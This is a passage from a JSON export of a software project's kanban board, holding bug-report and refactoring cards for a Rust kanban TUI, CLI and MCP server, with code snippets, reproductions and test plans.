        "updated_at": "2026-05-07T22:06:15.245156805Z"
      },
      {
        "card_number": 330,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:24:34.663664934Z",
        "created_at": "2026-04-06T22:24:07.225850794Z",
        "description": "# Problem\n\nStarting the TUI and immediately exiting silently creates an empty `kanban.json` in the current working directory, even though no explicit board creation was requested. It also emits a confusing warning:\n\n```\nWARN kanban_tui::app: Failed to start file watching for /path/to/kanban.json: IO err: No such file or directory (os error 2)\n```\n\nCreating a board should be an explicit user action (via the export/import flow).\n\n---\n\n# Root Cause Analysis\n\n## Trigger chain\n\nThe issue is in `load_initial_state()` in `crates/kanban-tui/src/app/mod.rs` (~line 1585):\n\n```rust\nasync fn load_initial_state(&mut self) {\n    if self.persistence.save_file.is_some() {\n        let store = self.ctx.store().clone();\n        if store.exists().await {\n            // ... loads data from file ...\n        }\n        // store does NOT exist — falls through\n    }\n    self.migrate_sprint_logs(); // ALWAYS called, even on empty/missing store\n    self.check_ended_sprints();\n    // ...\n}\n```\n\n`migrate_sprint_logs()` always calls `execute_command`:\n\n```rust\n// crates/kanban-tui/src/app/mod.rs ~line 1940\nfn migrate_sprint_logs(&mut self) {\n    let cmd = Box::new(kanban_domain::commands::MigrateSprintLogs);\n    if let Err(e) = self.ctx.execute_command(cmd) {\n        tracing::error!(\"Failed to migrate sprint logs: {}\", e);\n    }\n}\n```\n\n`TuiContext::execute_commands_batch` unconditionally queues a snapshot save:\n\n```rust\n// crates/kanban-tui/src/tui_context.rs ~line 59\npub fn execute_commands_batch(&mut self, commands: Vec<Box<dyn Command>>) -> KanbanResult<()> {\n    self.inner.execute(commands)?;\n    let snapshot = self.inner.snapshot();\n    self.save_coordinator.queue_snapshot(snapshot); // always queued\n    Ok(())\n}\n```\n\nAnd `KanbanContext::execute` always marks dirty:\n\n```rust\n// crates/kanban-service/src/context.rs ~line 180\npub fn execute(&mut self, commands: Vec<Box<dyn Command>>) -> KanbanResult<()> {\n    self.history.capture_before_command(self.snapshot());\n    for command in commands { /* ... */ }\n    self.dirty = true; // always set, even for no-op commands\n    Ok(())\n}\n```\n\nSo even with no boards, `migrate_sprint_logs()` queues an empty snapshot write, which the save worker flushes to disk — creating `kanban.json`.\n\n## Why the file watcher error appears\n\nFile watching is initialized in `App::run()` after `load_initial_state()` but before the save worker runs. Since `kanban.json` doesn't exist yet, `start_watching` fails with `ENOENT`:\n\n```rust\n// crates/kanban-tui/src/app/mod.rs ~line 1601\nif let Some(ref save_file) = self.persistence.save_file {\n    let watcher = kanban_persistence::FileWatcher::new();\n    let path = std::path::PathBuf::from(save_file);\n    if let Err(e) = watcher.start_watching(path.clone()).await {\n        tracing::warn!(\"Failed to start file watching for {}: {}\", path.display(), e);\n    }\n}\n```\n\n---\n\n# Proposed Solutions\n\n## Option A — Guard `migrate_sprint_logs` behind the store-exists check (minimal fix)\n\nMove the call inside the `store.exists()` block so it only runs when there is actual data to migrate:\n\n```rust\nasync fn load_initial_state(&mut self) {\n    if self.persistence.save_file.is_some() {\n        let store = self.ctx.store().clone();\n        if store.exists().await {\n            match store.load().await {\n                Ok((snapshot, _)) => { /* apply snapshot */ }\n                Err(e) => { /* error handling */ }\n            }\n            self.migrate_sprint_logs(); // only when data was loaded\n        }\n    }\n    self.check_ended_sprints();\n    // ...\n}\n```\n\n**Pros:** Minimal, targeted, low risk.\n**Cons:** Does not fix the underlying issue that execute always queues a save.\n\n## Option B — Only queue save when snapshot actually changed (robust fix)\n\n```rust\n// crates/kanban-tui/src/tui_context.rs\npub fn execute_commands_batch(&mut self, commands: Vec<Box<dyn Command>>) -> KanbanResult<()> {\n    let before = self.inner.snapshot();\n    self.inner.execute(commands)?;\n    let after = self.inner.snapshot();\n    if before != after {\n        self.save_coordinator.queue_snapshot(after);\n    }\n    Ok(())\n}\n```\n\nRequires `Snapshot` to implement `PartialEq`. Alternatively, `MigrateSprintLogs` could return a boolean indicating whether it applied any changes.\n\n**Pros:** Prevents spurious writes from any no-op command, not just `MigrateSprintLogs`.\n**Cons:** More invasive; snapshot diff has overhead on every command.\n\n## Option C — Skip save when snapshot is empty (quick guard)\n\n```rust\n// crates/kanban-tui/src/state/mod.rs\npub fn queue_snapshot(&mut self, snapshot: Snapshot) {\n    if snapshot.boards.is_empty() {\n        return;\n    }\n    // ... existing logic ...\n}\n```\n\n**Pros:** Very simple one-liner.\n**Cons:** Semantically wrong — masks the bug rather than fixing it.\n\n## Recommendation\n\n**Option A** as immediate fix, **Option B** as proper follow-up.",
        "due_date": null,
        "id": "abd67c7e-efa2-4c46-950f-fa25c2aa78a0",
        "points": null,
        "position": 168,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245094512Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126558826Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245095232Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "TUI creates kanban.json on startup even when no data file exists",
        "updated_at": "2026-05-11T20:24:34.690814778Z"
      },
      {
        "card_number": 372,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T09:59:51.600846008Z",
        "description": null,
        "due_date": null,
        "id": "93c82222-2771-4aad-be36-875fe99145d8",
        "points": null,
        "position": 169,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245157967Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126554073Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245158496Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "SQLite PersistenceStore: replace JSON snapshot round-trip with native atomic SQL operations",
        "updated_at": "2026-05-07T22:06:15.245158825Z"
      },
      {
        "card_number": 407,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:24:34.716659410Z",
        "created_at": "2026-05-07T22:39:12.996045407Z",
        "description": "# fix(cli): require explicit kanban file — no implicit cwd kanban.json fallback\n\n## Stakeholder motivation\n\nFor the nixpkgs (and AUR) release, the *first interaction* a brand-new user has with `kanban` will almost always be a CLI invocation from their `$HOME` or some unrelated cwd. Today, that interaction silently lies to them:\n\n- `kanban card list` succeeds with `[]` even though no kanban file exists\n- `kanban card get KAN-12` returns \"Card not found\" — implying the card was deleted, when actually no file is being read at all\n- The TUI silently *creates* an empty `kanban.json` in cwd (KAN-330)\n\nThe user has no signal that `kanban` is operating on a phantom empty store at `$PWD/kanban.json`. For someone with their real board at `~/notes/memes/kanban.json`, this looks like total data loss. For a packaged-distro user evaluating the tool for thirty seconds, it looks like a broken app.\n\nGoal for the 0.4.x release window: **every command must produce data the user can trust, or fail fast with actionable guidance**. Implicit cwd fallback is incompatible with that goal.\n\nThis card implements the **fail-fast** stance from KAN-332 for the CLI specifically. (KAN-330 covers the parallel TUI fix.)\n\n---\n\n## Reproducer (observed)\n\n```\n$ pwd\n/home/max/fulsomenko/kanban/demo\n\n$ ls kanban.json\nls: cannot access 'kanban.json': No such file or directory\n\n$ kanban card get KAN-12\n{\"success\":false,\"api_version\":\"0.4.0\",\"error\":\"Card not found: 'KAN-12'\"}\nError: Card not found: 'KAN-12'\n\n$ kanban card list\n{\"success\":true,\"api_version\":\"0.4.0\",\"data\":{\"items\":[],\"total\":0,\"page\":1,\"page_size\":50,\"total_pages\":0}}\n```\n\nNote that `card list` returns **success** with an empty result. There is nothing in the output to indicate the user's real data lives at a different path.\n\n---\n\n## Where the bug is\n\n### 1. CLI entry resolves a default when no file is specified\n\n`crates/kanban-cli/src/app.rs:243-253`\n\n```rust\nlet validated_file: Option<String> = match file {\n    Some(ref p) => Some(\n        kanban_service::validate_path(std::path::Path::new(p))?\n            .to_string_lossy()\n            .to_string(),\n    ),\n    None => None,\n};\nlet effective_file = validated_file\n    .clone()\n    .unwrap_or_else(|| kanban_service::config::resolve_storage_location(&config));\n```\n\nWhen the positional `FILE` arg is absent **and** the `KANBAN_FILE` env var is absent (clap's `env = \"KANBAN_FILE\"` covers both via `file: Option<String>`), the code falls through to `resolve_storage_location`.\n\n### 2. resolve_storage_location joins cwd with a hardcoded default name\n\n`crates/kanban-service/src/config.rs:130-140`\n\n```rust\npub fn resolve_storage_location(config: &AppConfig) -> String {\n    let raw = config.effective_storage_location();\n    let path = Path::new(&raw);\n    if path.is_absolute() {\n        raw\n    } else {\n        std::env::current_dir()\n            .map(|cwd| cwd.join(path).display().to_string())\n            .unwrap_or(raw)\n    }\n}\n```\n\n### 3. effective_storage_location invents a filename if none is configured\n\n`crates/kanban-core/src/config.rs:73-81`\n\n```rust\npub fn effective_storage_location(&self) -> String {\n    self.storage_location.clone().unwrap_or_else(|| {\n        match self.effective_storage_backend() {\n            \"sqlite\" => DEFAULT_SQLITE_FILENAME,  // \"kanban.sqlite\"\n            _ => DEFAULT_JSON_FILENAME,            // \"kanban.json\"\n        }\n        .to_string()\n    })\n}\n```\n\nThe chain (CLI arg | env var | config.storage_location | hardcoded default) silently produces `$PWD/kanban.json` whenever the first three are missing. Step 4 is the root cause — there should be no step 4.\n\n---\n\n## Decision: Option A — fail fast\n\nThree sources of file location are accepted (in order of precedence):\n\n1. CLI positional `FILE` arg (also picks up `KANBAN_FILE` env var via clap's `env`)\n2. `storage_location` field in the user's `~/.config/kanban/config.toml`\n3. (rejected) implicit `$PWD/kanban.json`\n\nIf **none of (1) or (2)** is set, the CLI must exit non-zero with a clear, actionable error. No silent phantom file. No auto-creation.\n\n### Why Option A over Option B (preserve cwd default but error if missing)\n\n- The intent of \"implicit cwd file\" is fundamentally ambiguous: is the user expecting an existing file, or asking us to create one? A clean refusal is unambiguous.\n- One-time inconvenience for repeat users is solved permanently by setting `KANBAN_FILE` in `~/.zshrc` or `storage_location` in their config.\n- Eliminates the \"where did my data go?\" support burden in one stroke.\n- KAN-332 was already filed for exactly this stance — this card is its concrete CLI implementation.\n\n---\n\n## Concrete fix\n\n### A. Add a non-defaulting accessor on `AppConfig`\n\n`crates/kanban-core/src/config.rs` — add alongside `effective_storage_location`:\n\n```rust\n/// Returns the user-configured storage location, if any.\n/// Unlike `effective_storage_location`, this never falls back to a hardcoded filename.\npub fn explicit_storage_location(&self) -> Option<&str> {\n    self.storage_location.as_deref()\n}\n```\n\n### B. Add a non-defaulting resolver in `kanban-service`\n\n`crates/kanban-service/src/config.rs`:\n\n```rust\n/// Like `resolve_storage_location`, but returns `None` when nothing is configured\n/// instead of inventing `$PWD/kanban.json`.\npub fn resolve_explicit_storage_location(config: &AppConfig) -> Option<String> {\n    let raw = config.explicit_storage_location()?;\n    let path = Path::new(raw);\n    Some(if path.is_absolute() {\n        raw.to_string()\n    } else {\n        std::env::current_dir()\n            .map(|cwd| cwd.join(path).display().to_string())\n            .unwrap_or_else(|_| raw.to_string())\n    })\n}\n```\n\n### C. Switch CLI `app.rs` to fail when both sources are absent\n\n`crates/kanban-cli/src/app.rs` — replace the `effective_file` resolution (currently lines 251-253) with:\n\n```rust\nlet resolved_file: Option<String> = validated_file\n    .clone()\n    .or_else(|| kanban_service::config::resolve_explicit_storage_location(&config));\n\nlet effective_file = match resolved_file {\n    Some(f) => f,\n    None => anyhow::bail!(\n        \"no kanban file specified\\n\\\n         \\n\\\n         Provide a path one of three ways:\\n  \\\n         1. As a positional arg:  kanban /path/to/board.json card list\\n  \\\n         2. Via environment var:  export KANBAN_FILE=/path/to/board.json\\n  \\\n         3. In your config file:  set `storage_location = \\\"/path/to/board.json\\\"`\\n     \\\n            in {}\\n\\\n         \\n\\\n         To create a new board, run:\\n  \\\n         kanban /path/to/new-board.json board create --name \\\"My Board\\\"\"\n        , kanban_service::config::config_path()\n            .map(|p| p.display().to_string())\n            .unwrap_or_else(|| \"your platform's config dir\".to_string())\n    ),\n};\n```\n\n(The `None => TUI launch` arm in `match command` already passes `validated_file` through to `App::new_with_store`, which has its own fallback path — that is **out of scope** here and tracked by KAN-330. We do not change TUI behavior in this card.)\n\nWait — re-reading `app.rs:255-273`: the TUI arm uses `validated_file: Option<String>`, not `effective_file`. But the subcommand arm at `app.rs:281` uses `effective_file`. So the `bail!` above lives only on the subcommand path, leaving TUI untouched. \n\n### D. Leave `effective_storage_location` / `resolve_storage_location` alone\n\nOther callers (TUI, MCP, tests, migrate) may still rely on the defaulting behaviour. We add a sibling accessor rather than break the existing one. KAN-330 will revisit the TUI fallback separately.\n\n### E. Migrate command exception\n\n`Commands::Migrate` does its own argument parsing (source/target paths are explicit args), so it must run **before** the `effective_file` requirement. Verify `app.rs:275-278` already short-circuits before the subcommand arm — it does. No additional work needed.\n\n---\n\n## Tests (TDD — write red first, present before implementing)\n\nIn `crates/kanban-cli/tests/cli_integration.rs`, add a new module `mod no_file_specified_tests`:\n\n1. **`test_subcommand_without_file_arg_or_env_fails_with_helpful_error`**\n   - `kanban().env_clear().env(\"PATH\", ...).args([\"card\", \"list\"])` from a tempdir cwd\n   - Assert exit code != 0\n   - Assert stderr contains \"no kanban file specified\"\n   - Assert stderr mentions all three remediation paths (positional arg, `KANBAN_FILE`, config)\n   - Assert no `kanban.json` was created in the tempdir cwd\n\n2. **`test_subcommand_with_kanban_file_env_var_succeeds`**\n   - Same setup, but `.env(\"KANBAN_FILE\", file_path)`\n   - Assert success\n\n3. **`test_subcommand_with_positional_file_arg_succeeds`**\n   - Existing pattern, just confirm we didn't regress it\n\n4. **`test_subcommand_with_config_storage_location_succeeds`**\n   - Set `XDG_CONFIG_HOME` (or `HOME`, depending on platform) to a tempdir\n   - Write `kanban/config.toml` with `storage_location = \"/path/to/file.json\"`\n   - Run `card list` with no args\n   - Assert success and that the configured path was used (create the board there first as setup)\n\n5. **`test_migrate_subcommand_does_not_require_default_file`**\n   - `kanban migrate src.json sqlite -o out.sqlite` runs without invoking the file-required check\n   - This is a regression guard for the short-circuit at `app.rs:275-278`\n\n### Test environment hygiene\n\nThe CLI reads `KANBAN_FILE` via clap and `~/.config/kanban/config.toml` via `dirs`. Tests must:\n- Use `Command::env_clear()` then re-add only `PATH` to prevent host `KANBAN_FILE` leaking in\n- Set `XDG_CONFIG_HOME` (Linux) / `HOME` (macOS) to a tempdir so `dirs::config_dir()` is sandboxed\n- Set `current_dir(tempdir)` so any cwd-relative behaviour is observable\n\nExisting tests at `crates/kanban-cli/tests/cli_integration.rs` use `tempdir()` + positional file args; copy that scaffold and add the env hygiene above for the new module.\n\n---\n\n## Acceptance criteria\n\n- [ ] Running any non-`migrate`, non-`completions` subcommand without a file arg, without `KANBAN_FILE` set, and without `storage_location` in config exits non-zero with the multi-line guidance message above.\n- [ ] No `kanban.json` (or `kanban.sqlite`) is created in cwd as a side effect of failure.\n- [ ] `KANBAN_FILE` env var alone is sufficient to satisfy the requirement (no positional arg needed).\n- [ ] `storage_location` in `~/.config/kanban/config.toml` alone is sufficient to satisfy the requirement.\n- [ ] The error message names the actual config file path on the user's platform (via `config_path()`).\n- [ ] `kanban migrate` continues to work without an implicit default file.\n- [ ] TUI behaviour (no subcommand) is unchanged in this card. TUI fallback is KAN-330's responsibility.\n- [ ] All existing tests pass; new tests in `no_file_specified_tests` pass.\n\n---\n\n## Cross-references\n\n- **KAN-332** — original \"Require explicit file path\" card. This card is its concrete CLI implementation. Consider closing KAN-332 when this lands.\n- **KAN-330** — parallel issue in the TUI (\"creates kanban.json on startup\"). Out of scope here.\n- **KAN-399** — improve CLI error messages. The error wording added here should match KAN-399's tone/format guidelines once that lands.\n- Demo tape (`demo/demo.tape`) currently passes `demo.json` explicitly to every command — already correct, no demo update needed.\n\n## Effort estimate\n\n**3 points.** Small surface area (one new accessor, one new resolver, one bail), but the test setup for sandboxed config + env-cleared invocations is fiddly enough to be the bulk of the work.",
        "due_date": null,
        "id": "d546ea9c-afad-4144-a342-3c8904efacd7",
        "points": 3,
        "position": 169,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:39:17.340821858Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "fix(cli): require explicit kanban file — no implicit cwd kanban.json fallback",
        "updated_at": "2026-05-11T20:24:34.744234961Z"
      },
      {
        "card_number": 389,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T20:26:48.624556575Z",
        "created_at": "2026-04-29T08:49:10.209515771Z",
        "description": "## Summary\n\nMCP write operations (update_card, move_card) return success and subsequent MCP reads reflect the changes — but a CLI process reading the same file sees the original pre-mutation data. The root cause is likely the in-memory snapshot architecture: the MCP server loads the board into a JSON snapshot on startup and serves all reads/writes from that snapshot, without flushing to the SQLite file between operations. A separate CLI process opening the same file sees only the last committed state.\n\n## Reproduction (observed in lost-sock project, 2026-04-29)\n\n1. MCP: `tool_update_card(card_id: \"DEV-27\", title: \"docs: document DATABASE_URL...\")`\n   → MCP response: success, new title, updated_at = 2026-04-29T08:33:22\n2. MCP: `tool_get_card(card_id: \"DEV-27\")`\n   → Returns new title ✓ (served from in-memory snapshot)\n3. CLI: `kanban docs/sock card get DEV-27`\n   → Returns OLD title, updated_at = 2026-04-29T04:54:30 (original on-disk state)\n\nMultiple update_card and move_card calls, all returning success, none reflected on disk.\n\n## Likely root cause\n\nKAN-372 documents that SqliteStore::PersistenceStore uses a JSON snapshot round-trip (load entire board → mutate in memory → save entire board as JSON blob). If the MCP server holds a long-lived connection and the save step is not flushing/checkpointing the WAL before the CLI opens a new connection, the CLI will see stale data. KAN-384 (Unified Backends via True Deferred Reads) and KAN-371 (explicit WAL checkpoint on exit) are likely the fixes that will resolve this.\n\n## Related cards\n\n- KAN-367 — SQLite lazy loading in Model (ensure_* + invalidate_*)\n- KAN-371 — kanban-sqlite: Add explicit WAL checkpoint on app exit\n- KAN-372 — SQLite PersistenceStore: replace JSON snapshot round-trip with native atomic SQL operations\n- KAN-384 — Architecture: Unified Backends via True Deferred Reads\n\n## Impact\n\nMCP consumers (AI agents, Claude Code) receive false confirmation of writes and operate on a diverged view of board state. All MCP-driven board management is silently unreliable until the snapshot/WAL flush issue is resolved.\n\n## Workaround\n\nUse the CLI directly for any writes that must persist. Restart the MCP server between sessions to force a fresh load from disk.",
        "due_date": null,
        "id": "8e8c2722-79f1-4f6e-a4f9-6aa953919905",
        "points": null,
        "position": 170,
        "priority": "High",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T21:58:57.806933595Z",
            "status": "Planning"
          }
        ],
        "status": "Done",
        "title": "bug: MCP write operations appear to succeed but do not persist to disk",
        "updated_at": "2026-05-11T20:26:48.648699858Z"
      },
      {
        "card_number": 373,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:41.247526706Z",
        "description": "## Issue\n\nIn `handle_toggle_archived_cards_view` (app/mod.rs), `prepare_frame()` is called explicitly right after switching the mode, then `needs_redraw = true` is set — which triggers a second `prepare_frame()` call at the top of the next render loop iteration. This causes two full `ctx.snapshot()` clones per toggle, one of which is wasted.\n\n```rust\nself.mode = AppMode::ArchivedCardsView;\nself.prepare_frame();   // ← snapshot cloned here\n// ...\nself.needs_redraw = true;  // ← prepare_frame() runs again before draw\n```\n\nThe explicit call exists only to ensure `self.view.strategy` is refreshed so that the `get_active_task_list_mut()` call immediately below works correctly.\n\n## Suggested Implementation\n\nExtract the list-refresh/sync step into a dedicated helper (e.g. `sync_view_strategy()`) that does not clone the snapshot, and call that instead of the full `prepare_frame()`. Then leave the snapshot load to the run loop.\n\nAlternatively, add a clear comment explaining why the explicit call is required so future readers do not treat it as redundant and remove it — which would break the immediately-following list selection logic.",
        "due_date": null,
        "id": "bc5db86a-8747-4ade-ad7c-70663f887b80",
        "points": null,
        "position": 170,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245160494Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126638461Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245161136Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Fix double prepare_frame() call in toggle_archived_cards_view",
        "updated_at": "2026-05-07T22:06:15.245161473Z"
      },
      {
        "card_number": 426,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T19:47:25.743167961Z",
        "created_at": "2026-05-11T19:40:56.120165763Z",
        "description": "## Background\n\nPR #247 fixed Windows key-doubling by filtering out non-Press key events, but scoped the fix to Windows only via a compile-time `cfg` gate:\n\n```rust\n// crates/kanban-tui/src/events.rs\n\n#[cfg(target_os = \"windows\")]\nuse crossterm::event::KeyEventKind;\n\n// ...\n\n#[cfg(target_os = \"windows\")]\nif key.kind != KeyEventKind::Press {\n    continue;\n}\n```\n\n## Why the cfg gate is unnecessary\n\nOn Linux/macOS in standard terminal mode, crossterm only ever emits `KeyEventKind::Press` — `Release` and `Repeat` variants only appear when the kitty keyboard protocol is enabled (via `PushKeyboardEnhancementFlags`), which we do not do. This means the filter is a no-op on non-Windows platforms, and the `cfg` gate adds code-path divergence for no behavioral benefit.\n\n## Fix\n\nRemove the two `cfg` guards and make the filter unconditional:\n\n```rust\nuse crossterm::event::{self, Event as CrosstermEvent, KeyCode, KeyEvent, KeyEventKind};\n\n// ...\n\nif key.kind != KeyEventKind::Press {\n    continue;\n}\n```\n\n## Changes required\n\n- `crates/kanban-tui/src/events.rs` line 6: remove `#[cfg(target_os = \"windows\")]` from the `KeyEventKind` import and merge it into the existing import on line 1\n- `crates/kanban-tui/src/events.rs` line 40-43: remove `#[cfg(target_os = \"windows\")]` guard from the filter block\n\n## Benefits\n\n- Single code path, testable on any platform\n- Future-proof: if kitty keyboard protocol support is ever added, the filter will already be in place on all platforms\n- Removes cross-platform divergence that was causing unnecessary recompilation when switching between Windows and WSL builds",
        "due_date": null,
        "id": "0483aff5-52a6-473c-bebc-024ba19051af",
        "points": null,
        "position": 171,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846358999Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Replace cfg-gated KeyEventKind::Press filter with unconditional filter",
        "updated_at": "2026-05-11T23:57:08.612932234Z"
      },
      {
        "card_number": 374,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:42.276824037Z",
        "description": "## Issue\n\n`Model::load_from_snapshot` rebuilds `archived_cards_flat: Vec<Card>` on every frame by cloning from `snapshot.archived_cards`:\n\n```rust\nfor (i, ac) in snapshot.archived_cards.iter().enumerate() {\n    self.archived_card_index.insert(ac.card.id, i);\n    flat.push(ac.card.clone());  // clone on every frame\n}\nself.archived_cards_flat = Some(flat);\n```\n\nThis is a per-frame allocation that partially contradicts the PR's goal of eliminating per-frame clones. In the `ArchivedCardsView` mode the entire archived list is cloned every render tick even when nothing changed.\n\n## Suggested Implementation\n\nSince the snapshot itself is already cloned into `self.archived_cards`, derive `archived_cards_flat` lazily on first access (store as `Option<Vec<Card>>`, build on first `archived_cards_flat()` call) or store it as a view into the `ArchivedCard` vec via indices rather than a separate `Vec<Card>`.\n\nA simpler short-term fix: add a TODO comment acknowledging the clone and track it as a known cost to revisit if archived card counts grow large.",
        "due_date": null,
        "id": "fa85ca57-3ae3-4f9c-a456-59385adcd7fe",
        "points": null,
        "position": 171,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245163699Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126564924Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245164109Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Avoid per-frame archived_cards_flat clone in Model::load_from_snapshot",
        "updated_at": "2026-05-07T22:06:15.245164546Z"
      },
      {
        "card_number": 420,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-10T19:04:37.971098598Z",
        "created_at": "2026-05-10T18:19:45.801380053Z",
        "description": "1.70.0 is too low — edition2024 support requires a higher minimum. Update prerequisites section to reflect the actual minimum version.",
        "due_date": null,
        "id": "2a48e22c-b200-425a-ae14-8a91a8034af1",
        "points": null,
        "position": 172,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846381150Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Bump minimum cargo version in CONTRIBUTING.md",
        "updated_at": "2026-05-11T23:57:10.634462725Z"
      },
      {
        "card_number": 421,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2026-05-11T18:37:56.670106654Z",
        "created_at": "2026-05-10T18:19:50.920880150Z",
        "description": "Add two structured log lines to EventHandler in kanban-tui/src/events.rs to aid cross-platform debugging:\n\n1. debug! on startup — logs target_os, target_arch, target_family, target_endian, target_pointer_width once per process start. Visible with RUST_LOG=debug or KANBAN_DEBUG_LOG.\n\n2. trace! per raw key event — fires immediately after event::read() succeeds, before the #[cfg(target_os = \"windows\")] filter. Logs code, kind (Press/Release/Repeat), and modifiers. On Windows this captures both Press and Release events before the filter drops Release, giving the exact signal needed to diagnose key-doubling issues like PR #247.\n\nNo build script. No changes to the filter or any other code.",
        "due_date": null,
        "id": "5424e618-16f5-45ff-af4c-1a374100a152",
        "points": null,
        "position": 172,
        "priority": "Medium",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-11T23:24:13.846378884Z",
            "status": "Active"
          }
        ],
        "status": "Done",
        "title": "Add build-time debug info for target OS and cfg flags",
        "updated_at": "2026-05-11T23:57:10.634466498Z"
      },
      {
        "card_number": 375,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2026-04-27T10:15:42.871463800Z",
        "description": "## Issue\n\nIn PR #230, `handle_archived_cards_view_mode` and `handle_animation_tick` on `App` were changed from crate-private `fn` to `pub` solely to allow calls from integration tests in `crates/kanban-tui/tests/`:\n\n```rust\npub fn handle_archived_cards_view_mode(&mut self, key_code: ...) { ... }\npub fn handle_animation_tick(&mut self) { ... }\n```\n\nExposing internal event handlers as fully public API widens the crate surface unnecessarily and creates implicit contracts with external consumers.\n\n## Suggested Implementation\n\nChange both to `pub(crate)`. Integration tests in the same crate's `tests/` directory can access `pub(crate)` items via the crate's own re-exports, or the tests can be refactored to drive input through the public `handle_key_event` dispatch path instead of calling handlers directly. The latter is more robust as it exercises the full event-routing logic.",
        "due_date": null,
        "id": "55ada467-3d4b-4cc5-bc69-95ee6cdada57",
        "points": null,
        "position": 172,
        "priority": "Low",
        "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
        "sprint_logs": [
          {
            "ended_at": "2026-05-07T22:06:15.245166346Z",
            "sprint_id": "124ae046-2368-4334-b5f7-c64a47cdeca4",
            "sprint_name": "sphinx-centered",
            "sprint_number": 14,
            "started_at": "2026-04-29T04:53:21.126636560Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "6927495b-f63e-4260-8bb7-4ba44b964be8",
            "sprint_name": "yarara-release",
            "sprint_number": 15,
            "started_at": "2026-05-07T22:06:15.245166861Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
